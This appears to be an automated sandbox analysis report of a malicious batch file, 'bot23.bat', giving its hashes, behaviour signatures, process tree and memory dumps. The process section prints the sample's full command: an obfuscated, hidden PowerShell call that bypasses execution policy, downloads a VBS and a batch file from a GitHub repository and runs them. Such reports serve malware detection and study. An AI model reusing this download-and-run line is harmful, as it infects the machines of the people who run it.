Analysis
-
max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
24-05-2024 11:41
Static task
static1
Behavioral task
behavioral1
Sample
bot23.bat
Resource
win7-20240220-en
windows7-x64
4 signatures
150 seconds
General
-
Target
bot23.bat
-
Size
330B
-
MD5
1137487e0274c696ee5378b5a01f0cdf
-
SHA1
9375478018a5b4a6c1c8bcf7ef20ecef36c2e700
-
SHA256
2c6e184f8ab0d72b37893c0ccc202067edf0957492bba85ef2fa2676b27eecec
-
SHA512
3c888e334ddcea60a716dcefad7fee34f3972e9b0b912b9c8584866b9d76d80864bb3d3a50a9091610f64ee2595b5f3daf665f5e6e8575d477b16acfd8bb72ef
Score
8/10
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2956 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2040 wrote to memory of 2956 2040 cmd.exe powershell.exe PID 2040 wrote to memory of 2956 2040 cmd.exe powershell.exe PID 2040 wrote to memory of 2956 2040 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\bot23.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepo"we"rsh"e"ll -ep bypass -w hidden -c Invoke-WebRequest https://raw.githubusercontent.com/Kiemtrau205/TestBot/main/vbs -o C:\Users\Public\security.vbs; Invoke-WebRequest https://github.com/Kiemtrau205/TestBot/releases/download/sasd/bot___.bat -o C:\Users\Public\security.bat; Start-Process C:\Users\Public\security.vbs2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2956-4-0x000007FEF5F8E000-0x000007FEF5F8F000-memory.dmpFilesize
4KB
-
memory/2956-7-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmpFilesize
9.6MB
-
memory/2956-8-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmpFilesize
9.6MB
-
memory/2956-9-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmpFilesize
9.6MB
-
memory/2956-6-0x0000000002860000-0x0000000002868000-memory.dmpFilesize
32KB
-
memory/2956-10-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmpFilesize
9.6MB
-
memory/2956-5-0x000000001B720000-0x000000001BA02000-memory.dmpFilesize
2.9MB
-
memory/2956-11-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmpFilesize
9.6MB
-
memory/2956-12-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmpFilesize
9.6MB